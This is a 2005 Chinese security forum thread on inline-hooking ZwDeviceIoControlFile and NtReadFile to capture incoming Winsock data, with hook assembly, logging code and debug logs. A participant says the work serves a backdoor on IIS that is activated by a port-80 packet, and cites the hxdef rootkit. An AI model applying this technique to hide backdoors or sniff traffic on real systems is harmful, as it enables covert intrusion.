invoke result:103
ntdevioctrl:8dc 8ac 0 0 104fd48 12047 104fc44 d4 0 0
invoke result:0
ntdevioctrl:7d0 0 0 f28cc4 f28cc4 12083 104fcc8 44 132a40 840
invoke result:103
ntdevioctrl:8e0 8ac 0 0 104fd48 12047 104fc44 d4 0 0
invoke result:0
ntdevioctrl:7d0 0 0 f28e1c f28e1c 12083 104fcc8 44 1333e0 840
invoke result:103
ntdevioctrl:8e4 8ac 0 0 104fd48 12047 104fc44 d4 0 0
invoke result:0
ntdevioctrl:7d0 0 0 f28f74 f28f74 12083 104fcc8 44 133d80 840
invoke result:103
ntdevioctrl:8e8 8ac 0 0 104fd48 12047 104fc44 d4 0 0
invoke result:0
ntdevioctrl:7d0 0 0 f290cc f290cc 12083 104fcc8 44 134720 840
invoke result:103
ntdevioctrl:8ec 8ac 0 0 104fd48 12047 104fc44 d4 0 0
invoke result:0
ntdevioctrl:7d0 0 0 f29224 f29224 12083 104fcc8 44 1350c0 840
invoke result:103
ntdevioctrl:8f0 8ac 0 0 104fd48 12047 104fc44 d4 0 0
invoke result:0
ntdevioctrl:7d0 0 0 f2937c f2937c 12083 104fcc8 44 135a60 840
invoke result:103
ntdevioctrl:8f4 8ac 0 0 104fd48 12047 104fc44 d4 0 0
invoke result:0
ntdevioctrl:7d0 0 0 f294d4 f294d4 12083 104fcc8 44 136400 840
invoke result:103
ntdevioctrl:8f8 8ac 0 0 104fd48 12047 104fc44 d4 0 0
invoke result:0
ntdevioctrl:7d0 0 0 f2962c f2962c 12083 104fcc8 44 136da0 840
invoke result:103
ntdevioctrl:8fc 8ac 0 0 104fd48 12047 104fc44 d4 0 0
invoke result:0
ntdevioctrl:7d0 0 0 f29784 f29784 12083 104fcc8 44 137740 840
invoke result:103
ntdevioctrl:900 8ac 0 0 104fd48 12047 104fc44 d4 0 0
invoke result:0
ntdevioctrl:7d0 0 0 f298dc f298dc 12083 104fcc8 44 1380e0 840
invoke result:103
ntdevioctrl:904 8ac 0 0 104fd48 12047 104fc44 d4 0 0
invoke result:0
ntdevioctrl:7d0 0 0 f29a34 f29a34 12083 104fcc8 44 138a80 840
invoke result:103
ntdevioctrl:908 8ac 0 0 104fd48 12047 104fc44 d4 0 0
invoke result:0
ntdevioctrl:7d0 0 0 f29b8c f29b8c 12083 104fcc8 44 139420 840
invoke result:103
ntdevioctrl:90c 8ac 0 0 104fd48 12047 104fc44 d4 0 0
invoke result:0
ntdevioctrl:7d0 0 0 f29ce4 f29ce4 12083 104fcc8 44 139dc0 840
invoke result:103
ntdevioctrl:910 8ac 0 0 104fd48 12047 104fc44 d4 0 0
invoke result:0
ntdevioctrl:7d0 0 0 f29e3c f29e3c 12083 104fcc8 44 13a760 840
invoke result:103
ntdevioctrl:914 8ac 0 0 104fd48 12047 104fc44 d4 0 0
invoke result:0
ntdevioctrl:7d0 0 0 f29f94 f29f94 12083 104fcc8 44 13b100 840
invoke result:103
ntdevioctrl:918 8ac 0 0 104fd48 12047 104fc44 d4 0 0
invoke result:0
ntdevioctrl:7d0 0 0 f2a0ec f2a0ec 12083 104fcc8 44 13baa0 840
invoke result:103
ntdevioctrl:91c 8ac 0 0 104fd48 12047 104fc44 d4 0 0
invoke result:0
ntdevioctrl:7d0 0 0 f2a244 f2a244 12083 104fcc8 44 13c440 840
invoke result:103
ntdevioctrl:920 8ac 0 0 104fd48 12047 104fc44 d4 0 0
invoke result:0
ntdevioctrl:7d0 0 0 f2a39c f2a39c 12083 104fcc8 44 13cde0 840
invoke result:103
ntdevioctrl:924 8ac 0 0 104fd48 12047 104fc44 d4 0 0
invoke result:0
ntdevioctrl:7d0 0 0 f2a4f4 f2a4f4 12083 104fcc8 44 13d780 840
invoke result:103
ntdevioctrl:928 8ac 0 0 104fd48 12047 104fc44 d4 0 0
invoke result:0
ntdevioctrl:7d0 0 0 f2a64c f2a64c 12083 104fcc8 44 13e120 840
invoke result:103
ntdevioctrl:92c 8ac 0 0 104fd48 12047 104fc44 d4 0 0
invoke result:0
ntdevioctrl:7d0 0 0 f2a7a4 f2a7a4 12083 104fcc8 44 13eac0 840
invoke result:103
ntdevioctrl:930 8ac 0 0 104fd48 12047 104fc44 d4 0 0
invoke result:0
ntdevioctrl:7d0 0 0 f2a8fc f2a8fc 12083 104fcc8 44 13f460 840
invoke result:103
ntdevioctrl:934 8ac 0 0 104fd48 12047 104fc44 d4 0 0
invoke result:0
ntdevioctrl:7d0 0 0 f2aa54 f2aa54 12083 104fcc8 44 13fe00 840
invoke result:103
ntdevioctrl:938 8ac 0 0 104fd48 12047 104fc44 d4 0 0
invoke result:0
ntdevioctrl:7d0 0 0 f2abac f2abac 12083 104fcc8 44 1407a0 840
invoke result:103
ntdevioctrl:93c 8ac 0 0 104fd48 12047 104fc44 d4 0 0
invoke result:0
ntdevioctrl:7d0 0 0 f2ad04 f2ad04 12083 104fcc8 44 141140 840
invoke result:103
ntdevioctrl:940 8ac 0 0 104fd48 12047 104fc44 d4 0 0
invoke result:0
ntdevioctrl:7d0 0 0 f2ae5c f2ae5c 12083 104fcc8 44 141ae0 840
invoke result:103
ntdevioctrl:944 8ac 0 0 104fd48 12047 104fc44 d4 0 0
invoke result:0
ntdevioctrl:7d0 0 0 f2afb4 f2afb4 12083 104fcc8 44 142480 840
invoke result:103
ntdevioctrl:948 8ac 0 0 104fd48 12047 104fc44 d4 0 0
invoke result:0
ntdevioctrl:7d0 0 0 f2b10c f2b10c 12083 104fcc8 44 142e20 840
invoke result:103
ntdevioctrl:94c 8ac 0 0 104fd48 12047 104fc44 d4 0 0
invoke result:0
ntdevioctrl:7d0 0 0 f2b264 f2b264 12083 104fcc8 44 1437c0 840
invoke result:103
ntdevioctrl:800 0 0 f25f14 f25f14 1201f 104f9f0 10 0 0
invoke result:0
ntdevioctrl:800 8ac 0 0 104fd90 12017 104fd80 10 0 0
invoke result:103
ntdevioctrl:800 8ac 0 0 104fb9c 12037 104fbac 4 104fba4 8
invoke result:0
ntdevioctrl:800 8ac 0 0 104fba4 12037 104fbb4 4 104fbac 8
invoke result:0
ntdevioctrl:800 8ac 0 0 104fbbc 12047 104fab8 d4 0 0
invoke result:0
ntdevioctrl:800 8ac 0 0 104fbd8 12047 104fad4 d4 0 0
invoke result:0
ntdevioctrl:800 8ac 0 0 104fc88 1202b 104fc78 10 0 0
invoke result:0
ntdevioctrl:800 8ac 0 0 104fbe0 12037 104fbf0 4 104fbe8 8
invoke result:0
ntdevioctrl:800 8ac 0 0 104fd40 12047 104fc3c d4 0 0
invoke result:0
ntdevioctrl:7d0 0 0 f25f14 f25f14 12083 104fcc0 44 111098 840
invoke result:103
从中并没有 0x00012017做第六个参数的。
---
PowerfulRootkitExploit @SteelKernelGroup 各类后门,木马,Exp,0day
tombkeeper
发帖: 3234
积分: 11
注册: 2001-09-20
00012017是recv函数最终使用的,完成端口是不是也用这个我就不能确定了,等有空了我再找个完成端口的应用来看看。
NtDeviceIoControlFile调用的频度远比你想象的要多,你这样全部打印很可能会漏掉关键的那个数据接收的调用。
---
我寒不能怨人傻
人傻不能怨政府
baiyuanfan
发帖: 317
积分: 0
注册: 2004-01-22
status = NtDeviceIoControlFile(
(HANDLE)Handle,
event,
apcRoutine,
apcContext,
ioStatusBlock,
IOCTL_AFD_RECEIVE,
&recvInfo,
sizeof(recvInfo),
NULL,
0
);
因为我们已知recv调用时最后两个参数为0,就加上这个条件做了个过滤。奇怪的这次出现了 0x00012017:
ntdevioctrl:964 0 0 f2b264 f2b264 1201f 104f9f0 10 0 0
invoke result:0
ntdevioctrl:964 14c 0 0 104fd90 12017 104fd80 10 0 0
invoke result:103
ntdevioctrl:964 14c 0 0 104fbbc 12047 104fab8 d4 0 0
invoke result:0
ntdevioctrl:964 14c 0 0 104fbd8 12047 104fad4 d4 0 0
invoke result:0
ntdevioctrl:964 14c 0 0 104fc88 1202b 104fc78 10 0 0
invoke result:0
ntdevioctrl:964 14c 0 0 104fd40 12047 104fc3c d4 0 0
invoke result:0
疑惑中。
---
PowerfulRootkitExploit @SteelKernelGroup 各类后门,木马,Exp,0day
tombkeeper
发帖: 3234
积分: 11
注册: 2001-09-20
NtDeviceIoControlFile是被循环调用的,其调用频度远超过Windows 控制台子系统屏幕输出的速度,你如果不加过滤条件,基本上得到的都是那些循环的输出。
你以0x00012017作为过滤条件。然后打印*(char *)(*(DWORD *)recvInfo + sizeof(DWORD)) 不就明白这个值是否正确了么。
---
我寒不能怨人傻
人傻不能怨政府
baiyuanfan
发帖: 317
积分: 0
注册: 2004-01-22
不是控制台,我是log到文件。
oriZwDeviceIoControlFile://offset:0x103
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
//15个nop留下应该够了
__emit 0xe9
__emit 0
__emit 0
__emit 0
__emit 0
//跳回原来的API后面部分
myZwDeviceIoControlFile://
//int 3
push ebp
mov ebp,esp
push [ebp+0x2c]
push [ebp+0x28]
push [ebp+0x24]
push [ebp+0x20]
push [ebp+0x1c]
push [ebp+0x18]
push [ebp+0x14]
push [ebp+0x10]
push [ebp+0x0c]
push [ebp+0x08]
call dbglog10
push [ebp+0x2c]
push [ebp+0x28]
push [ebp+0x24]
push [ebp+0x20]
push [ebp+0x1c]
push [ebp+0x18]
push [ebp+0x14]
push [ebp+0x10]
push [ebp+0x0c]
push [ebp+0x08]
call oriZwDeviceIoControlFile
push eax
push eax
call dbglog01
pop eax
pop ebp
ret 28h
必须等log结束,ntdevioctrl才能继续执行
我log的结果不全,log的速度没有ntdevioctrl调用的速度快,应该不会吧
baiyuanfan 编辑于 2005-03-15 17:11
---
PowerfulRootkitExploit @SteelKernelGroup 各类后门,木马,Exp,0day
tombkeeper
发帖: 3234
积分: 11
注册: 2001-09-20
计算机的美好之处在于0就是0,1就是1,铁板钉钉。说什么都没意义,你把0x00012017的时候缓冲区里面的数据打印出来就清楚了。
---
我寒不能怨人傻
人傻不能怨政府
baiyuanfan
发帖: 317
积分: 0
注册: 2004-01-22
我到是觉得12047很多,比较有可能,呵呵。
---
PowerfulRootkitExploit @SteelKernelGroup 各类后门,木马,Exp,0day
tombkeeper
发帖: 3234
积分: 11
注册: 2001-09-20
引用 (baiyuanfan @ 2005-03-15 17:32) |
我到是觉得12047很多,比较有可能,呵呵。 |
你是准备继续喋喋不休下去呢,还是写个代码测试一下?
---
我寒不能怨人傻
人傻不能怨政府
baiyuanfan
发帖: 317
积分: 0
注册: 2004-01-22
写了,测了。
ntdevioctrl:94c 8ac 0 0 104fd90 12017 104fd80 10 0 0
invoke result:103
唯一的一个12017调用返回是pending!老大。
---
PowerfulRootkitExploit @SteelKernelGroup 各类后门,木马,Exp,0day
tombkeeper
发帖: 3234
积分: 11
注册: 2001-09-20
我也郁闷了。这段东西给你参考一下:
#define AFD_RECEIVE 5
#define METHOD_NEITHER 3
#define FILE_DEVICE_NETWORK 0x00000012
#define FSCTL_AFD_BASE FILE_DEVICE_NETWORK
#define _AFD_CONTROL_CODE(request,method) /
((FSCTL_AFD_BASE)<<12 | (request<<2) | method)
#define IOCTL_AFD_RECEIVE _AFD_CONTROL_CODE( AFD_RECEIVE, METHOD_NEITHER )
typedef struct _WSABUF {
ULONG len;
PCHAR buf;
} WSABUF, *LPWSABUF;
typedef struct _AFD_RECV_INFO {
LPWSABUF BufferArray;
ULONG BufferCount;
ULONG AfdFlags;
ULONG TdiFlags;
} AFD_RECV_INFO, *PAFD_RECV_INFO;
typedef struct _IO_STATUS_BLOCK
{
union
{
NTSTATUS Status;
PVOID Pointer;
};
ULONG_PTR Information;
} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;
typedef VOID (NTAPI *PIO_APC_ROUTINE)
(
IN PVOID ApcContext,
IN PIO_STATUS_BLOCK IoStatusBlock,
IN ULONG Reserved
);
---
我寒不能怨人傻
人傻不能怨政府
baiyuanfan
发帖: 317
积分: 0
注册: 2004-01-22
这个是NT原代码??
---
PowerfulRootkitExploit @SteelKernelGroup 各类后门,木马,Exp,0day
tombkeeper
发帖: 3234
积分: 11
注册: 2001-09-20
用上面的宏,printf ("%.8x",IOCTL_AFD_RECEIVE)出来的就是00012017,和我调出来的结果是一致的。我实际测试也确实得到了接收到的数据。
---
我寒不能怨人傻
人傻不能怨政府
baiyuanfan
发帖: 317
积分: 0
注册: 2004-01-22
加过滤条件第六个参数为12017,得到以下结果,的确有
ntdevioctrl:6c8 8a4 0 0 104fd90 12017 104fd80 10 0 0
invoke result: 103 buff:GET /test.htm HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, */*
Accept-Language: zh-cn
Accept-Encoding: gzip, deflate
If-Modified-Since: Sat, 12 Mar 2005 08:06:36 GMT
If-None-Match: "503d8569da26c51:f91"
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: 172.18.1.231
Connection: Keep-Alive
但是有2个问题:
1,这个调用返回的是pending,还有一个event object,应该是IO还没有完成。为什么我们直接读buffer就得到了数据??而且无花果说有一个event object时,当这个事件触发,APP还要调用一次ntdevioctrl,我们并没有截到?
2,我从另外一台机器访问自己站点多次,为什么只有第一次被log?重启IIS实验多次都这样。的确存在很大的漏log的问题。
我怀疑,是不是我在log的时候,这个函数就又被其他线程调用了多次,因此log不过来而且出现内存读写紊乱,或者说,有所谓“可重入性”不好的问题?大家帮看代码:
myZwDeviceIoControlFile://
//int 3
push ebp
mov ebp,esp
sub esp,4
mov dword ptr [ebp-4],0//flag,1 is 12017
cmp [ebp+0x1c],00012017h
jnz nolog10
mov dword ptr [ebp-4],1
push [ebp+0x2c]
push [ebp+0x28]
push [ebp+0x24]
push [ebp+0x20]
push [ebp+0x1c]
push [ebp+0x18]
push [ebp+0x14]
push [ebp+0x10]
push [ebp+0x0c]
push [ebp+0x08]
call dbglog10
nolog10:
push [ebp+0x2c]
push [ebp+0x28]
push [ebp+0x24]
push [ebp+0x20]
push [ebp+0x1c]
push [ebp+0x18]
push [ebp+0x14]
push [ebp+0x10]
push [ebp+0x0c]
push [ebp+0x08]
call oriZwDeviceIoControlFile
cmp dword ptr [ebp-4],0
jz nolog01
push eax
//*(char *)(*(DWORD *)recvInfo + sizeof(DWORD))
mov ecx,[ebp+0x20]
mov ecx,[ecx]
add ecx,4
mov ecx,[ecx]
push ecx
push eax
call dbglog01
pop eax
nolog01:
add esp,4
pop ebp
ret 28h
void __stdcall dbglog10(int a,int b,int c,int d,int e,int f,int g,int h,int i,int j){
char fmt[128];
sprintf(fmt,"ntdevioctrl:%x %x %x %x %x %x %x %x %x %x/r/n",a,b,c,d,e,f,g,h,i,j);
HANDLE filefp;
filefp=CreateFile("d://dbglog.txt",GENERIC_WRITE,0,0,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);
SetFilePointer(filefp,0,0,FILE_END);
DWORD byteswritten;WriteFile(filefp,fmt,strlen(fmt),&byteswritten,0);
CloseHandle(filefp);
}
void __stdcall dbglog01(int a,char* b){
char fmt[128];
sprintf(fmt,"invoke result:%8x buff:%5s/r/n",a,b);
HANDLE filefp;
filefp=CreateFile("d://dbglog.txt",GENERIC_WRITE,0,0,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);
SetFilePointer(filefp,0,0,FILE_END);
DWORD byteswritten;WriteFile(filefp,fmt,strlen(fmt),&byteswritten,0);
CloseHandle(filefp);
}
baiyuanfan 编辑于 2005-03-16 15:48
---
PowerfulRootkitExploit @SteelKernelGroup 各类后门,木马,Exp,0day
tombkeeper
发帖: 3234
积分: 11
注册: 2001-09-20
我试验的时候也发现了“只有第一次被log”的情况,具体原因还不明确。现在没什么时间搞这个,等过一阵子仔细看看Windows这一部分的代码实现。
---
我寒不能怨人傻
人傻不能怨政府
rhett
发帖: 103
积分: 0
注册: 2003-04-26
[已被删除]
rhett 删除于 2006-03-22 11:27:12
---
静水流深
baiyuanfan
发帖: 317
积分: 0
注册: 2004-01-22
应该不是log的方法不对导致的漏log,我改进了方法,ntdevioctrl调用时先log到内存里的cache然后再一次写进文件。
void __stdcall dbglog10(int a,int b,int c,int d,int e,int f,int g,int h,int i,int j){
char fmt[128];
sprintf(fmt,"ntdevioctrl:%x %x %x %x %x %x %x %x %x %x/r/n",a,b,c,d,e,f,g,h,i,j);
strcat(buff,fmt);
}
void __stdcall dbglog01(int a,char* b){
char fmt[128];
sprintf(fmt,"invoke result:%8x buff:%5s/r/n",a,b);
strcat(buff,fmt);
}
//打印cached dbg information
Sleep(10000);
HANDLE filefp;
filefp=CreateFile("d://dbglog.txt",GENERIC_WRITE,0,0,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);
SetFilePointer(filefp,0,0,FILE_END);
DWORD byteswritten;WriteFile(filefp,buff,strlen(buff),&byteswritten,0);
CloseHandle(filefp);
dbglog.txt:
ntdevioctrl:6c8 8a4 0 0 104fd90 12017 104fd80 10 0 0
invoke result: 103 buff:GET /test.htm HTTP/1.1
仍然12017只有一个pending记录
BTW,TK你什么时候变成“要饭兄”了??
baiyuanfan 编辑于 2005-03-17 17:05
---
PowerfulRootkitExploit @SteelKernelGroup 各类后门,木马,Exp,0day
baiyuanfan
发帖: 317
积分: 0
注册: 2004-01-22
最近做了实验。自己写了个程序使用NtDeviceIoControlFile来recv数据。分别实验了阻塞,EVENT异步,APC异步3种IO模式。更加验证了最初设想的正确。并且发现,不论是EVENT异步,APC异步,都会在事件触发时候数据到达缓冲,不需要再次调用 NtDeviceIoControlFile。
但是为什么只有第一次被log?仍然不清楚。自己努力同时期待大家帮助。
---
PowerfulRootkitExploit @SteelKernelGroup 各类后门,木马,Exp,0day
rhett
发帖: 103
积分: 0
注册: 2003-04-26
[已被删除]
rhett 删除于 2006-03-22 11:26:20
---
静水流深
baiyuanfan
发帖: 317
积分: 0
注册: 2004-01-22
TK兄:测试代码在这里,不多说话了。
NtReadFile也可以达到recv的作用。
但是仍然有问题,只能在阻塞方式下用。用APC或者EVENT的异步调用都会返回无效参数。
TK继续帮忙看看。
void main(){char buff[1024];
WSADATA wsadata;
WSAStartup(0x202,&wsadata);
//sync
int sock=WSASocket(AF_INET,SOCK_STREAM,0,0,0,0);
sockaddr_in saddr;
saddr.sin_family=AF_INET;
saddr.sin_addr.S_un.S_addr=INADDR_ANY;
saddr.sin_port=htons(1985);
RtlZeroMemory(&(saddr.sin_zero),sizeof(saddr.sin_zero));
bind(sock,(sockaddr *)&saddr,sizeof(sockaddr_in));
listen(sock,5);
sockaddr_in newsaddr;
int tmp=sizeof(newsaddr);
int newsock=accept(sock,(sockaddr *)&newsaddr,&tmp);
printf("new socket %d recved/n",newsock);
RtlZeroMemory(buff,1024);
int (__stdcall* ZwReadFile)(
IN HANDLE FileHandle,
IN HANDLE Event OPTIONAL,
IN void* ApcRoutine OPTIONAL,
IN PVOID ApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK IoStatusBlock,
OUT PVOID Buffer,
IN ULONG Length,
IN PLARGE_INTEGER ByteOffset OPTIONAL,
IN PULONG Key OPTIONAL
);
ZwReadFile=
(int (__stdcall *)(void *,void *,void *,void *,struct _IO_STATUS_BLOCK *,void *,unsigned long,union _LARGE_INTEGER *,unsigned long *))
GetProcAddress(LoadLibrary("ntdll.dll"),"ZwReadFile");
tmp=ZwReadFile(
(void*)newsock,
0,
0,
0,
&iosblock,
buff,
1024,
0,
0
);
printf("ntread:%x,buff:%s/n",tmp,buff);
send(newsock,"ready/n",6,0);
closesocket(newsock);closesocket(sock);
---
PowerfulRootkitExploit @SteelKernelGroup 各类后门,木马,Exp,0day
1haoyu
发帖: 3061
积分: 0
注册: --
有结果了吗,继续顶
ysiw
发帖: 7
积分: 0
注册: 2005-04-04
因为你用 WSASocket 创建的 SOCKET 不具有 FILE_FLAG_OVERLAPPED,所以不能进行异步 I/O。而 socket/accept 创建的 SOCKET 默认是有 FILE_FLAG_OVERLAPPED 的,所以能进行异步 I/O,不过用 ReadFile/WriteFile 不能进行同步 I/O。只能用 recv/send/WSARecv/WSASend 之类的函数进行同步 I/O。
这个问题是个历史问题,在第一次实现 32bit winsock 的时候也就是 windows socket 1.1,socket/accept 创建的 SOCKET 就是默认有 FILE_FLAG_OVERLAPPED 的,为了向前兼容,winsock2 也就这样子了。
最近我刚写过一个驱动,就是把一个 toggle file handle 的 overlapped 属性 ;)。
ysiw
发帖: 7
积分: 0
注册: 2005-04-04
WSASocket(AF_INET,SOCK_STREAM,0,0,0,FILE_FLAG_OVERLAPPED);
这样创建的 SOCKET 可以异步 I/O
baiyuanfan
发帖: 317
积分: 0
注册: 2004-01-22
这个问题我还是不会犯的:)上面那个代码是阻塞的例子代码。
这个是非阻塞的:
sock=socket(AF_INET,SOCK_STREAM,0);
saddr.sin_family=AF_INET;
saddr.sin_addr.S_un.S_addr=INADDR_ANY;
saddr.sin_port=htons(1985);
RtlZeroMemory(&(saddr.sin_zero),sizeof(saddr.sin_zero));
bind(sock,(sockaddr *)&saddr,sizeof(sockaddr_in));
listen(sock,5);
tmp=sizeof(newsaddr);
newsock=accept(sock,(sockaddr *)&newsaddr,&tmp);
printf("new non-overlapped socket %d recved/n",newsock);
//event
HANDLE event=CreateEvent(0,0,0,0);
RtlZeroMemory(buff,1024);
tmp=ZwReadFile(
(void*)newsock,
event,
0,
0,
&iosblock,
buff,
1024,
0,
0
);
printf("ntread:%x,buff:%s/n",tmp,buff);
printf("event-overlapped pending/n");
WaitForSingleObject(event,INFINITE);
printf("ntread-buff:%s/n",buff);
send(newsock,"event-overlapped ready/n",23,0);
//apc
void __stdcall apc(void* pcontext,PIO_STATUS_BLOCK piosblock,int reserved);
RtlZeroMemory(buff,1024);
struct MYAPCCONTEXT{int sock;char* buff;}myapccontext;
myapccontext.sock=newsock;myapccontext.buff=buff;
tmp=ZwReadFile(
(void*)newsock,
0,
apc,
&myapccontext,
&iosblock,
&buff,
1024,
0,
0
);
printf("ntread:%x,buff:%s/n",tmp,buff);
printf("apc-overlapped pending/n");
while(1){SleepEx(10000,1);}
return;
}
void __stdcall apc(void* pcontext,PIO_STATUS_BLOCK piosblock,int reserved){
printf("ntread:-buff:%s/n",*((char**)pcontext+1));
send(*(int*)pcontext,"apc-overlapped ready/n",21,0);
}
不能成功。
---
PowerfulRootkitExploit @SteelKernelGroup 各类后门,木马,Exp,0day
ysiw
发帖: 7
积分: 0
注册: 2005-04-04
在进行 OVERLAPPED I/O 的时候 ZwReadFile/ZwWriteFile 的 ByteOffset 参数不能为空, 必须合法, 那怕是对管道/SOCKET不支持Offset的东东也一样, 否则返回 STATUS_INVALID_PARAMETER
这是你的代码中最明显的错误, 其他的没仔细看, 也许有也许没有, 你再试试吧.
baiyuanfan
发帖: 317
积分: 0
注册: 2004-01-22
ysiw前辈是否用QQ?如果用,我的QQ51449276,请您加我给些指教,谢谢!
今天早晨实验成功,就是那个问题。
baiyuanfan 编辑于 2005-04-06 10:37
---
PowerfulRootkitExploit @SteelKernelGroup 各类后门,木马,Exp,0day
effort
发帖: 69
积分: 0
注册: 2005-01-31
终于告一段落
---
effort:n.努力
ysiw
发帖: 7
积分: 0
注册: 2005-04-04
;) gxgx
不用 QQ 的, 另外工作的时候很少聊天, 还是论坛上聊吧, 大家都可以学习学习
baiyuanfan
发帖: 317
积分: 0
注册: 2004-01-22
挂ntdev时又有发现
我提交到IIS的激活后门的80端口包用ntdev是可以拦截到的
不过奇怪的是不在它应该在的那个buffer里,而是紧挨着那个buffer的上面
mov ecx,[ebp+0x20]
mov ecx,[ecx]
add ecx,4
mov ecx,[ecx]
这个是由ntdev的参数决定的buffer地址
但是它实际上在ecx-packetlength这个位置!
但是如果你用IE提交浏览网页的请求时候,它又在它应该在的位置了,迷惑
还有,21和25端口就更狠了,用NtDeviceIOControlFile(controlcode 0x12017)和NtReadFile都拦截不住。
大家继续帮忙。
---
PowerfulRootkitExploit @SteelKernelGroup 各类后门,木马,Exp,0day
baiyuanfan
发帖: 317
积分: 0
注册: 2004-01-22
不好意思,21和25NtReadFile可以拦截,以前是我的一个编码错误导致的。
但是这个buffer位置不对的问题,的确是很奇怪!
看了hxdef,他的代码里也有专门对这个的处理,在他的代码里叫做“look around”,但是他并没有说明这个问题的原因。
现在 www.rootkit.com不知为什么又不能访问了。
请各位帮助我!
---
PowerfulRootkitExploit @SteelKernelGroup 各类后门,木马,Exp,0day